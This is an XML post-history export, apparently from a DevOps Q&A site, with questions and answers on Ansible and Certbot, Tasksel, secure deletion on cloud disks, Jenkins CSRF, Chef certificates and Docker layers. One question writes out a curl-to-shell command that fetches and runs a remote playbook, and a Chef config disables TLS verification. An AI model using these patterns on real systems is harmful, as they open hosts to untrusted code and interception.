  <row Id="9908" PostHistoryTypeId="1" PostId="3153" RevisionGUID="14eb7f1c-757f-4a47-a20f-866be13df1cc" CreationDate="2018-01-22T23:22:21.380" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9909" PostHistoryTypeId="2" PostId="3154" RevisionGUID="abe3f5bf-571f-418b-90d1-614e2a3c7b2a" CreationDate="2018-01-22T23:22:21.380" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="9910" PostHistoryTypeId="1" PostId="3154" RevisionGUID="abe3f5bf-571f-418b-90d1-614e2a3c7b2a" CreationDate="2018-01-22T23:22:21.380" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9911" PostHistoryTypeId="5" PostId="3147" RevisionGUID="3928dd31-1158-4f82-bce2-9a001538d384" CreationDate="2018-01-22T23:22:39.707" UserId="6201" Comment="added 77 characters in body" Text="Can one deploy an environment for some Linux OS (say, Ubuntu) from a **raw** Github **playbook** in a way similar to this (I wonder if it's the correct syntax)?&#xD;&#xA;&#xD;&#xA;    bash &lt;(curl -s https://raw.githubusercontent.com/user/repo/master/nginx-cms-addons.yml | tr -d '\r' | ansible)&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;**Edit: This is my own Github account so there isn't a risk.**&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;In use a similar pattern to **download and execute** bash scripts but I want to know if the principle is identical for Ansible playbooks.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;If it matters, the environment I want to deploy directly from the Github raw `yaml` configures Ubuntu a bit (firewall), installs some trivial software like `zip`, a server environment (Nginx/Postfix) and that's basically it.&#xD;&#xA;&#xD;&#xA;My purpose to execute my playbook with `ansible` as a substitute for the long Bash script I currently use, made of this code, basically:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ufw --force enable &amp;&amp; ufw allow 22,25,80,443,9000/tcp&#xD;&#xA;    apt-get update -y &amp;&amp; add-apt-repository ppa:certbot/certbot -y &amp;&amp; apt-get update -y&#xD;&#xA;    apt-get upgrade zip unzip tree unattended-upgrades sshguard nginx python-certbot-nginx mysql-server php-fpm php-mysql php-mbstring php-mcrypt -y&#xD;&#xA;    DEBIAN_FRONTEND=noninteractive apt-get upgrade postfix -y&#xD;&#xA;    sed -i &quot;s/post_max_size = .M/post_max_size = 250M/ ; s/upload_max_filesize = .M/upload_max_filesize = 250M/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    sed -i &quot;s/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    # sed -i &quot;s/# gzip_/gzip_/g&quot; /etc/nginx/nginx.conf&#xD;&#xA;    /etc/init.d/php*-fpm restart &amp;&amp; systemctl restart nginx.service" ContentLicense="CC BY-SA 3.0" />
  <row Id="9912" PostHistoryTypeId="2" PostId="3155" RevisionGUID="162384d9-a9b9-4ab8-8a76-4fea94dc4483" CreationDate="2018-01-23T02:07:54.490" UserId="6201" Text="This is how I install Certbot in a Bash script:&#xD;&#xA;&#xD;&#xA;    apt-get update -y &amp;&amp; add-apt-repository ppa:certbot/certbot -y &amp;&amp; apt-get update -y&#xD;&#xA;    apt-get upgrade nginx python-certbot-nginx -y&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;That's the playbook syntax I found to install Nginx in default conf:&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;        connection: local&#xD;&#xA;        become: true&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;        - name: install nginx&#xD;&#xA;        apt: pkg=nginx state=installed update_cache=true&#xD;&#xA;&#xD;&#xA;Is there no Ansible task to install Certbot as well, instead the above &quot;heavier&quot; Bash code?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9913" PostHistoryTypeId="1" PostId="3155" RevisionGUID="162384d9-a9b9-4ab8-8a76-4fea94dc4483" CreationDate="2018-01-23T02:07:54.490" UserId="6201" Text="How to install Certbot via an Ansible playbook?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9914" PostHistoryTypeId="3" PostId="3155" RevisionGUID="162384d9-a9b9-4ab8-8a76-4fea94dc4483" CreationDate="2018-01-23T02:07:54.490" UserId="6201" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9915" PostHistoryTypeId="5" PostId="3147" RevisionGUID="f0d95b09-5490-4a47-b925-090f9363b470" CreationDate="2018-01-23T02:22:44.713" UserId="6201" Comment="added 9 characters in body" Text="Can one deploy an environment for some Linux OS (say, Ubuntu) from a **raw** Github **playbook** in a way similar to this (I wonder if it's the correct syntax)?&#xD;&#xA;&#xD;&#xA;    bash &lt;(curl -s https://raw.githubusercontent.com/user/repo/master/nginx-cms-addons.yml | tr -d '\r' | ansible-playbook)&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;**Edit: This is my own Github account so there isn't a risk.**&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;In use a similar pattern to **download and execute** bash scripts but I want to know if the principle is identical for Ansible playbooks.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;If it matters, the environment I want to deploy directly from the Github raw `yaml` configures Ubuntu a bit (firewall), installs some trivial software like `zip`, a server environment (Nginx/Postfix) and that's basically it.&#xD;&#xA;&#xD;&#xA;My purpose to execute my playbook with `ansible` as a substitute for the long Bash script I currently use, made of this code, basically:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ufw --force enable &amp;&amp; ufw allow 22,25,80,443,9000/tcp&#xD;&#xA;    apt-get update -y &amp;&amp; add-apt-repository ppa:certbot/certbot -y &amp;&amp; apt-get update -y&#xD;&#xA;    apt-get upgrade zip unzip tree unattended-upgrades sshguard nginx python-certbot-nginx mysql-server php-fpm php-mysql php-mbstring php-mcrypt -y&#xD;&#xA;    DEBIAN_FRONTEND=noninteractive apt-get upgrade postfix -y&#xD;&#xA;    sed -i &quot;s/post_max_size = .M/post_max_size = 250M/ ; s/upload_max_filesize = .M/upload_max_filesize = 250M/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    sed -i &quot;s/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    # sed -i &quot;s/# gzip_/gzip_/g&quot; /etc/nginx/nginx.conf&#xD;&#xA;    /etc/init.d/php*-fpm restart &amp;&amp; systemctl restart nginx.service" ContentLicense="CC BY-SA 3.0" />
  <row Id="9922" PostHistoryTypeId="2" PostId="3158" RevisionGUID="abf7ce3d-63f2-42f9-9c7f-4e2aafe43ed3" CreationDate="2018-01-23T04:55:04.810" UserId="6" Text="Definitely. Especially when using AWS services, the `aws-sdk` for JavaScript is superb.&#xD;&#xA;&#xD;&#xA;Writing code using JavaScript in a shop that has both frontend people writing JS in some framework (Angular/React/Vue/...) and backend people using Node.js removes barriers. Just pushing to use JS provides the org. with even more developers who don't have barriers to reading and fixing infrastructure code.&#xD;&#xA;&#xD;&#xA;For example, I am quite proficient in using Python, Ruby, Shell, JavaScript (even Perl). But when it comes to fixing or adding something to HashiCorp's tools like Terraform, I just don't have the time to learn Go sufficiently enough - so I don't do it. If a tool like Terraform was written using JavaScript, I would have added my contribution for that missing service a long time ago.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;JavaScript support is excellent in AWS Lambda as well, and that is quite a big &#xD;&#xA;deal. For example, one of the ways to make CloudFormation do things you never thought it could is to write an `AWS::CloudFormation::CustomResource` implemented in a Lambda function.&#xD;&#xA;&#xD;&#xA;Another good example is streaming CloudWatch Logs into ElasticSearch. If you ever try to press that button you discover that AWS just creates a JavaScript function for you in Lambda.&#xD;&#xA;&#xD;&#xA;JavaScript is everywhere in DevOps and AWS, doing the same thing with Java, or C# or even Go would take much more time.&#xD;&#xA;&#xD;&#xA;Should you bring a &quot;DevOps Engineer&quot; in the future (please don't), and that person does not know JavaScript while all your code is the backend and frontend is in JavaScript then simply don't hire such a person. It is a bad fit for both you and them." ContentLicense="CC BY-SA 3.0" />
  <row Id="9923" PostHistoryTypeId="2" PostId="3159" RevisionGUID="3cac5225-e83c-4150-aad3-ed36d215e363" CreationDate="2018-01-23T05:30:18.217" UserId="6213" Text="﻿&#xD;&#xA;The way we do it is we have 3 pieces (or artifacts) for every running application.&#xD;&#xA;&#xD;&#xA;1. The application we are developing. This is the same regardless of environment. To match your example, that will be the Spring application as a jar/war.&#xD;&#xA;2. The container that will run the application. This is the same regardless of environment. If using Spring Boot, you don't need Tomcat anymore and just the Java runtime. So use the openjdk Docker container.&#xD;&#xA;3. The configuration that the application needs. This is the only thing that is different across environments. In a Spring app, you'll likely be using a properties file.&#xD;&#xA;&#xD;&#xA;The configuration file lives in a separate source control. This used to be Git, but we are now using a SaaS we built called Config, at http://www.configapp.com. Config's core feature is the easy handling of environment specific configuration. To run our application on a new server, we pull the Docker container, the application artifact, and the configuration file for that environment. In the container, we mount the directory where the application and the configuration file is stored, as part of the container run. Our application is the same. Our container/image is the same. Only the configuration file is different.&#xD;&#xA;&#xD;&#xA;Regarding configuration file vs environment variables. For the longest time we were using configuration files. When we used PaaS/cloud, we used environment variables. It was extra work if you have a lot of configuration so we ended up using environment variables to determine the correct configuration file. We  have one application that turned properties to environment variables, but that's atypical. If we have a company sanctioned centralized configuration server, we use that, otherwise we like the simplicity of configuration files.&#xD;&#xA;&#xD;&#xA;So to summarize, we pull app.jar, app.properties, openjdk Docker. Then we run openjdk Docker mounting the location of app.jar and app.properties. The only thing environment specific is app.properties. To easily manage app.properties, regardless of how many property keys, environments, cluster/region instances, we use Config." ContentLicense="CC BY-SA 3.0" />
  <row Id="9924" PostHistoryTypeId="2" PostId="3160" RevisionGUID="3ef14e8f-56ba-4e48-9c54-426a084c940c" CreationDate="2018-01-23T05:53:00.873" UserId="6201" Text="What is the difference between Tasksel to Configuration Management Tools (CMTs) like Ansible/Salt/Puppet/Chef?&#xD;&#xA;&#xD;&#xA;I'm not sure Tasksel should be considered a &quot;CMT&quot;. Maybe &quot;Package Installation Automizer&quot; or similar term is the correct one.&#xD;&#xA;&#xD;&#xA;The purpose of this question is to find out the &quot;software type&quot; of Tasksel so I could search data on similar software (given Tasksel currently doesn't support LEMP, I'd like to look for a similar tool that might does indeed support them)." ContentLicense="CC BY-SA 3.0" />
  <row Id="9925" PostHistoryTypeId="1" PostId="3160" RevisionGUID="3ef14e8f-56ba-4e48-9c54-426a084c940c" CreationDate="2018-01-23T05:53:00.873" UserId="6201" Text="What is the difference between Tasksel to CMTs like Ansible/Salt/Puppet/Chef?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9926" PostHistoryTypeId="3" PostId="3160" RevisionGUID="3ef14e8f-56ba-4e48-9c54-426a084c940c" CreationDate="2018-01-23T05:53:00.873" UserId="6201" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9928" PostHistoryTypeId="5" PostId="3160" RevisionGUID="0fb0af80-7df5-4175-a818-b2dd4ff78bcb" CreationDate="2018-01-23T06:34:43.857" UserId="47" Comment="improved readability" Text="What is the difference between Tasksel and Configuration Management Tools (CMTs) like Ansible/Salt/Puppet/Chef?&#xD;&#xA;&#xD;&#xA;I'm not sure Tasksel should be considered a &quot;CMT&quot;. Maybe &quot;Package Installation Automizer&quot; or similar term is the correct one.&#xD;&#xA;&#xD;&#xA;The purpose of this question is to find out the &quot;software type&quot; of Tasksel so I could search data on similar software (given Tasksel currently doesn't support LEMP, I'd like to look for a similar tool that might does indeed support them)." ContentLicense="CC BY-SA 3.0" />
  <row Id="9929" PostHistoryTypeId="4" PostId="3160" RevisionGUID="0fb0af80-7df5-4175-a818-b2dd4ff78bcb" CreationDate="2018-01-23T06:34:43.857" UserId="47" Comment="improved readability" Text="What is the difference between Tasksel and CMTs like Ansible/Salt/Puppet/Chef?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9933" PostHistoryTypeId="2" PostId="3162" RevisionGUID="4a8af071-97cb-4ecd-a804-0fd6547d20fe" CreationDate="2018-01-23T08:46:34.073" UserId="13" Text="From [ubuntu documentation](https://help.ubuntu.com/community/Tasksel):&#xD;&#xA;&#xD;&#xA;&gt; Tasksel is a Debian/Ubuntu tool that installs multiple related&#xD;&#xA;&gt; packages as a co-ordinated &quot;task&quot; onto your system.&#xD;&#xA;&gt; &#xD;&#xA;&gt; This function is similar to that of meta-packages, and, in fact, most&#xD;&#xA;&gt; of the tasks available from tasksel are also available as&#xD;&#xA;&gt; meta-packages from the Ubuntu package managers (such as Synaptic&#xD;&#xA;&gt; Package Manager or KPackageKit).&#xD;&#xA;&#xD;&#xA;So in brief, tasksel is just a helper to select and install a bunch of package with one command.&#xD;&#xA;&#xD;&#xA;Ansible/Chef/Puppet/Salt are configuration managers, they are able to install packages but that's only a small part of their goal, they aim at converging the system into the state you describe in their respective DSL (Domain specific Language), being package to be installed as well as the content of services configuration files and even up to cloning a git/svn repository somewhere and running install/configuration/database migration tasks for an application.&#xD;&#xA;&#xD;&#xA;Building a LEMP stack is just installing nginx, mariadb and php on a linux system, configuring it is another step but that's a common enough task such that there's already existing tutorials about it for every CMT.&#xD;&#xA;&#xD;&#xA;Quick list taken from the first page of a google search with 'product nginx mariadb php':&#xD;&#xA;&#xD;&#xA; - [Ansible Tutorial](https://knpuniversity.com/screencast/ansible/php-nginx-mysql)&#xD;&#xA; - [Chef Official Tutorial](https://learn.chef.io/modules/create-a-web-app-cookbook#/) (using apache, but moving to nginx is a matter of changing the web server cookbook used)&#xD;&#xA; - [Puppet tutorial](https://jamesmcfadden.co.uk/using-vagrant-and-puppet-to-build-a-php-nginx-and-mysql-environment)&#xD;&#xA; - [Salt tutorial](https://muchbits.com/salt-state-example3.html)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9934" PostHistoryTypeId="5" PostId="3160" RevisionGUID="c0178ac9-5c9b-43c2-80ad-eaafdee1db49" CreationDate="2018-01-23T08:56:54.410" UserId="6201" Comment="added 4 characters in body" Text="What is the difference between Tasksel and Configuration Management Tools (CMTs) like Ansible/Salt/Puppet/Chef?&#xD;&#xA;&#xD;&#xA;I'm not sure Tasksel should be considered a &quot;CMT&quot;. Maybe &quot;Package Installation Automizer&quot; or similar **term** is the correct one.&#xD;&#xA;&#xD;&#xA;The purpose of this question is to find out the &quot;software type&quot; of Tasksel so I could search data on similar software (given Tasksel currently doesn't support LEMP, I'd like to look for a similar tool that might does indeed support them)." ContentLicense="CC BY-SA 3.0" />
  <row Id="9935" PostHistoryTypeId="5" PostId="3162" RevisionGUID="0759b909-9381-4b77-b2b8-e750fe84fd9b" CreationDate="2018-01-23T09:00:25.180" UserId="6201" Comment="emphasizing terminology." Text="From [ubuntu documentation](https://help.ubuntu.com/community/Tasksel):&#xD;&#xA;&#xD;&#xA;&gt; Tasksel is a Debian/Ubuntu tool that installs multiple related&#xD;&#xA;&gt; packages as a co-ordinated &quot;task&quot; onto your system.&#xD;&#xA;&gt; &#xD;&#xA;&gt; This function is similar to that of meta-packages, and, in fact, most&#xD;&#xA;&gt; of the tasks available from tasksel are also available as&#xD;&#xA;&gt; meta-packages from the Ubuntu package managers (such as Synaptic&#xD;&#xA;&gt; Package Manager or KPackageKit).&#xD;&#xA;&#xD;&#xA;So in brief, tasksel is just a helper to select and install a bunch of package with one command (acting as a **meta-package**).&#xD;&#xA;&#xD;&#xA;Ansible/Chef/Puppet/Salt are configuration managers, they are able to install packages but that's only a small part of their goal, they aim at converging the system into the state you describe in their respective DSL (Domain specific Language), being package to be installed as well as the content of services configuration files and even up to cloning a git/svn repository somewhere and running install/configuration/database migration tasks for an application.&#xD;&#xA;&#xD;&#xA;Building a LEMP stack is just installing nginx, mariadb and php on a linux system, configuring it is another step but that's a common enough task such that there's already existing tutorials about it for every CMT.&#xD;&#xA;&#xD;&#xA;Quick list taken from the first page of a google search with 'product nginx mariadb php':&#xD;&#xA;&#xD;&#xA; - [Ansible Tutorial](https://knpuniversity.com/screencast/ansible/php-nginx-mysql)&#xD;&#xA; - [Chef Official Tutorial](https://learn.chef.io/modules/create-a-web-app-cookbook#/) (using apache, but moving to nginx is a matter of changing the web server cookbook used)&#xD;&#xA; - [Puppet tutorial](https://jamesmcfadden.co.uk/using-vagrant-and-puppet-to-build-a-php-nginx-and-mysql-environment)&#xD;&#xA; - [Salt tutorial](https://muchbits.com/salt-state-example3.html)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9936" PostHistoryTypeId="24" PostId="3162" RevisionGUID="0759b909-9381-4b77-b2b8-e750fe84fd9b" CreationDate="2018-01-23T09:00:25.180" Comment="Proposed by 6201 approved by 13 edit id of 595" ContentLicense="CC BY-SA 3.0" />
  <row Id="9937" PostHistoryTypeId="5" PostId="3154" RevisionGUID="9ac08acf-32bd-433b-9556-f102a6fd6c76" CreationDate="2018-01-23T09:00:31.150" UserId="210" Comment="added 111 characters in body" Text="This tag could be used if a question is about Pygradle, i.e. a gradle build tool used to build Python projects." ContentLicense="CC BY-SA 3.0" />
  <row Id="9938" PostHistoryTypeId="24" PostId="3154" RevisionGUID="9ac08acf-32bd-433b-9556-f102a6fd6c76" CreationDate="2018-01-23T09:00:31.150" Comment="Proposed by 210 approved by 40, 13 edit id of 594" ContentLicense="CC BY-SA 3.0" />
  <row Id="9940" PostHistoryTypeId="2" PostId="3163" RevisionGUID="9f5000aa-aac2-4d35-9dbb-86f0a54bee88" CreationDate="2018-01-23T09:58:25.877" UserId="2285" Text="For Ubuntu 16.04 should be something like this&#xD;&#xA;&#xD;&#xA;    tasks&#xD;&#xA;    - name: Install Certbot.&#xD;&#xA;      package: &quot;name=letsencrypt state=present&quot;&#xD;&#xA;&#xD;&#xA;Or you can use a role from Github: https://github.com/geerlingguy/ansible-role-certbot" ContentLicense="CC BY-SA 3.0" />
  <row Id="9941" PostHistoryTypeId="2" PostId="3164" RevisionGUID="c91d6fa1-7e0b-4660-a115-132d1e59759e" CreationDate="2018-01-23T14:31:13.517" UserId="6205" Text=" - SaaS (Software as a Service), often referred to &quot;on-demand Software&quot;, is a model where you're provided with access to the software in the cloud. There's no installation, setup or running of the setup, as the service provider will do this for you. You just have to pay the service provider. _Example: Office 365_&#xD;&#xA; - On-Premise is the &quot;traditional&quot; model where you have to install, setup and run the software at a computer at your physical location. It takes time, personnel and possible equipment. It may also have additional cost to hardware and software. _Example: Office 2016_&#xD;&#xA;&#xD;&#xA;Office 365 is SaaS which provides an online version of the MS Office suite. While Office 2016 is On-Premise Software that will require installation and running.&#xD;&#xA;&#xD;&#xA;In addition&#xD;&#xA;&#xD;&#xA; - PaaS (Platform as a Service) provides a platform which typical includes operation system, databases, web server, containers for executing programming languages. _Examples: Windows Azure, Azure SQL, Heroku_&#xD;&#xA; - IaaS (Infrastructure as a Service), provides as name suggesting infrastructure, like virtual machines, storage, network, network service (firewalls). _Examples: Windows Azure, Google Compute Engine_" ContentLicense="CC BY-SA 3.0" />
  <row Id="9943" PostHistoryTypeId="2" PostId="3165" RevisionGUID="e665607d-4812-402c-9bc6-a19e0d9d1c9f" CreationDate="2018-01-23T14:54:54.070" UserId="397" Text="Considering that virtual hard drives are generally formatted using something like `ext3` that abstracts away from the underlying block device, which in and of itself is an abstraction over the top of a physical and network topology.&#xD;&#xA;&#xD;&#xA;Is it possible to use something like [`wipe`][1] or [`shred`][2] against a single file or an entire device to mitigate the risk of data being recovered at a later date if that machine was compromised?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://linux.die.net/man/1/wipe&#xD;&#xA;  [2]: https://linux.die.net/man/1/shred" ContentLicense="CC BY-SA 3.0" />
  <row Id="9944" PostHistoryTypeId="1" PostId="3165" RevisionGUID="e665607d-4812-402c-9bc6-a19e0d9d1c9f" CreationDate="2018-01-23T14:54:54.070" UserId="397" Text="Is it possible to securely delete a file from a virtual disk in a cloud provider?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9945" PostHistoryTypeId="3" PostId="3165" RevisionGUID="e665607d-4812-402c-9bc6-a19e0d9d1c9f" CreationDate="2018-01-23T14:54:54.070" UserId="397" Text="&lt;linux&gt;&lt;security&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9950" PostHistoryTypeId="2" PostId="3166" RevisionGUID="3bb5fd56-e67a-4f1f-9a86-c34b8cf83d4d" CreationDate="2018-01-23T16:22:21.523" UserId="13" Text="You can't really use those tools with ext3 anyway. Wipe manpage has a large note about it:&#xD;&#xA;&#xD;&#xA;&gt; No secure deletion program that does filesystem-level calls can sanitize files on such filesystems, because sensitive data and metadata can be written to the journal, which cannot be readily accessed. Per-file secure deletion is better implemented in the operating system. &#xD;&#xA;&#xD;&#xA;Moreover, the fact the data will be written really in-place is not guaranteed and you may be writing aside the original data.  &#xD;&#xA;&#xD;&#xA;That said the reason to do this goes back to a point where a data was written on disk on consecutive sectors on the same physical medium, usual storage nowadays use striping technology to spread data on multiple physical medium, each write in the system toward this storage will have an impact on all the stripes this file was part of. Each provider will have its own custom storage backend, but I'm pretty confident the same principles are used.&#xD;&#xA;&#xD;&#xA;When you get the picture even higher, you're writing a file on a virtual hard disk which is itself a file on a storage pool, probably streched on multiple lun composed of raid array of physical disks.  &#xD;&#xA;There's so many IOs running on all those strates of striping/aggregation that the probability someone could recover a file by magnetic reading of physical disks (what wipe and shred should protect against) is very very very low as the storage used for this file has probably been reused a bunch of time already.&#xD;&#xA;&#xD;&#xA;Even on existing ext3/ext4 filesytem, tools like extundelete have a hard time recovering any file if the disk is not unmounted/mounted read only very quickly after the deletion." ContentLicense="CC BY-SA 3.0" />
  <row Id="9951" PostHistoryTypeId="5" PostId="2926" RevisionGUID="5fdd7f95-62f8-4b0d-abea-0ffd11850d36" CreationDate="2018-01-23T17:24:01.030" UserId="5787" Comment="edited body" Text="If you don't want the containers to restart, you can set the `condition:` to `none`. See https://docs.docker.com/compose/compose-file/#restart_policy&#xD;&#xA;&#xD;&#xA;On the swarm manager, you could use `docker stack ps` to check the status of the containers on a regular basis and shut down the stack if the database containers aren't running (using cron or whatever). For example:&#xD;&#xA;&#xD;&#xA;`docker stack ps --filter &quot;desired-state=Running&quot; your-stack |grep database || docker stack rm your-stack`.&#xD;&#xA;&#xD;&#xA;If containers are not able to restart, they shouldn't show up in the list once they fail, and once none are found, you can remove the stack." ContentLicense="CC BY-SA 3.0" />
  <row Id="9952" PostHistoryTypeId="5" PostId="3123" RevisionGUID="755d95bf-78ad-4041-aca0-38b97b693d66" CreationDate="2018-01-23T18:24:17.967" UserId="739" Comment="copy editing and formatting" Text="Is it possible to populate `host_vars` and `group_vars` with results from a database like we do in dynamic inventories?&#xD;&#xA;&#xD;&#xA;Actually I'm doing it inside my playbook either with lookups, either by using `shell` module and registering queries result.&#xD;&#xA;&#xD;&#xA;If anyone has a more elegant way of populating variables like making an executable `host_var` file printing JSON to stdout or so .." ContentLicense="CC BY-SA 3.0" />
  <row Id="9953" PostHistoryTypeId="24" PostId="3123" RevisionGUID="755d95bf-78ad-4041-aca0-38b97b693d66" CreationDate="2018-01-23T18:24:17.967" Comment="Proposed by 739 approved by 800 edit id of 596" ContentLicense="CC BY-SA 3.0" />
  <row Id="9954" PostHistoryTypeId="2" PostId="3167" RevisionGUID="f932c648-0a8c-4b4b-907a-4f6f7a346265" CreationDate="2018-01-23T19:10:10.167" UserId="4115" Text="I believe this may be a result of running Jenkins behind a proxy, which can cause legitimate requests to perhaps appear to Jenkins as cross-site requests.  From the [official wiki](https://wiki.jenkins.io/display/JENKINS/CSRF+Protection):&#xD;&#xA;&#xD;&#xA;&gt; If you are using nginx as a reverse proxy in front of Jenkins, you need an extra system property on Jenkins &quot;-Dhudson.security.csrf.requestfield=Jenkins-Crumb&quot;. See JENKINS-23793 for more details" ContentLicense="CC BY-SA 3.0" />
  <row Id="9955" PostHistoryTypeId="2" PostId="3168" RevisionGUID="78bcf2c8-3306-4b34-9ef5-b3fdc1fff9cc" CreationDate="2018-01-23T20:46:58.760" UserId="6153" Text="While configuring the chef provisioner I am running into the following error after running 'terraform apply'&#xD;&#xA;    &#xD;&#xA;    chef_environment.terraform_01: Post https://10.90.239.223/organizations/mykitchen/environments: x509: cannot validate certificate for 10.90.239.223 because it doesn't contain any IP SANs&#xD;&#xA;&#xD;&#xA;I tried this &#xD;&#xA;&#xD;&#xA;    openssl req -x509 -newkey rsa:4096 -keyout chef.key -out chef.pem -nodes -days 365 -config req.conf&#xD;&#xA;&#xD;&#xA;    sudo chown opscode:opscode chef.*&#xD;&#xA;    sudo mv chef.* /var/opt/opscode/nginx/ca/.&#xD;&#xA;&#xD;&#xA;    sudo chef-server-ctl stop&#xD;&#xA;    sudo chef-server-ctl reconfigure&#xD;&#xA;    sudo chef-server-ctl start&#xD;&#xA;&#xD;&#xA;my req.conf&#xD;&#xA;&#xD;&#xA;    [req]&#xD;&#xA;    default_bits = 2048&#xD;&#xA;    prompt = no&#xD;&#xA;    default_md = sha256&#xD;&#xA;    req_extensions = req_ext&#xD;&#xA;    distinguished_name = dn&#xD;&#xA; &#xD;&#xA;    [ dn ]&#xD;&#xA;    C=US&#xD;&#xA;    ST=mystate&#xD;&#xA;    L=mycity&#xD;&#xA;    O=DevOps&#xD;&#xA;    OU=myname&#xD;&#xA;    emailAddress=myemail@mycompany.com&#xD;&#xA;    CN = 10.90.239.223&#xD;&#xA;&#xD;&#xA;    [ req_ext ]&#xD;&#xA;    subjectAltName = @alt_names&#xD;&#xA;&#xD;&#xA;    [alt_names]&#xD;&#xA;    IP = 10.90.239.223&#xD;&#xA;    DNS.1 = 10.0.90.45&#xD;&#xA;    DNS.2 = 10.90.50.8&#xD;&#xA;    email = DevOps-3@10.90.239.223&#xD;&#xA;    URI = https://10.90.239.223/&#xD;&#xA;&#xD;&#xA;but I am still getting &#xD;&#xA;&#xD;&#xA;    chef_environment.terraform_01: Post https://10.90.239.223/organizations/mykitchen/environments: x509: cannot validate certificate for 10.90.239.223 because it doesn't contain any                                       IP SANs&#xD;&#xA;&#xD;&#xA;In my chef provisioner config I also have&#xD;&#xA;&#xD;&#xA;    ssl_verify_mode = &quot;:verify_none&quot; &#xD;&#xA;&#xD;&#xA;So far I am stumped.  What am I missing?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9956" PostHistoryTypeId="1" PostId="3168" RevisionGUID="78bcf2c8-3306-4b34-9ef5-b3fdc1fff9cc" CreationDate="2018-01-23T20:46:58.760" UserId="6153" Text="terraform chef provisioning - cannot validate certificate for 10.90.239.223 because it doesn't contain any IP SANs" ContentLicense="CC BY-SA 3.0" />
  <row Id="9957" PostHistoryTypeId="3" PostId="3168" RevisionGUID="78bcf2c8-3306-4b34-9ef5-b3fdc1fff9cc" CreationDate="2018-01-23T20:46:58.760" UserId="6153" Text="&lt;chef&gt;&lt;terraform&gt;&lt;security&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9958" PostHistoryTypeId="2" PostId="3169" RevisionGUID="3a693e02-fb6e-48b5-9e3a-034ac610f231" CreationDate="2018-01-23T21:10:29.683" UserId="47" Text="IMHO from the workflow prospective code coverage measurements are fundamentally similar to builds, smoketests or any other types of QA checks and can thus be performed in similar manner. I can see several options:&#xD;&#xA;&#xD;&#xA;- include them in the PR verification path, just like builds and/or smoketests, similarly positioned relative to the code review stage.&#xD;&#xA;- include them as a step in the pre-commit gating system, if you use one - most effective IMHO, especially for large projects where scalability comes into play (mentioned in my answer to [How do you scale your integration testing?][1]).&#xD;&#xA;- include them in the CI pipeline, maybe on a parallel execution path if they're lengthy, to not add too much to the total CI execution time. Very useful to use these runs as up2date baselines for results comparisons for the other 2 cases listed above.&#xD;&#xA;&#xD;&#xA;I'm not familiar with MS tools, but if MSTest doesn't offer good integration with the other tools in your workflow you could build custom wrappers to implement a typical submit/execute API with a pass/fail result (or set of results) which most tools can integrate with.&#xD;&#xA;&#xD;&#xA;  [1]: https://softwareengineering.stackexchange.com/questions/282033/how-do-you-scale-your-integration-testing/364382#364382" ContentLicense="CC BY-SA 3.0" />
  <row Id="9959" PostHistoryTypeId="2" PostId="3170" RevisionGUID="16cfbd03-d94e-4a8a-9706-a98060cea867" CreationDate="2018-01-23T21:26:42.287" UserId="154" Text="Answered on Slack, the likely first issue here is that the output from `openssl req` is not a cert, it's a CSR. But there are some other lingering issues here too. It is recommended to use something like Certstrap to do internal cert generation rather than raw `openssl` commands as the modern standards are quite fiddly." ContentLicense="CC BY-SA 3.0" />
  <row Id="9963" PostHistoryTypeId="2" PostId="3172" RevisionGUID="8611ac83-f00a-4850-97ba-a0067b9bc721" CreationDate="2018-01-24T08:40:26.637" UserId="707" Text="Using a `COPY` statement creates a new image layer, right?&#xD;&#xA;&#xD;&#xA;    COPY files/foo.zip /tmp/&#xD;&#xA;&#xD;&#xA;Now, to save space I could take the `ADD` statement... for a GZ arhive. But `ADD` [does not support][1] automatic extraction of ZIP files.&#xD;&#xA;&#xD;&#xA;So the `foo.zip` will be dangling around somewhere in a below layer. Just a `RUN rm` statement does not help.&#xD;&#xA;&#xD;&#xA;How do you solve this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/moby/moby/issues/32745" ContentLicense="CC BY-SA 3.0" />
  <row Id="9964" PostHistoryTypeId="1" PostId="3172" RevisionGUID="8611ac83-f00a-4850-97ba-a0067b9bc721" CreationDate="2018-01-24T08:40:26.637" UserId="707" Text="COPY and ZIP files in Dockerfile" ContentLicense="CC BY-SA 3.0" />
